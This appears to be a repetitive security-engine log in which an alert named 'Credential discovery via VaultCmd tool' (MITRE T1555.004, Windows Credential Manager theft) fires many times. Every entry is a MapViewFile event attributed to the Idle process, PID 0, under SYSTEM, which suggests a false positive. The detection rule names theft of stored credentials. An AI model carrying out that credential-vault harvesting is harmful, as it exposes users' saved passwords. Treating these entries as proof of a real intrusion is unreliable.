technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:24+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + 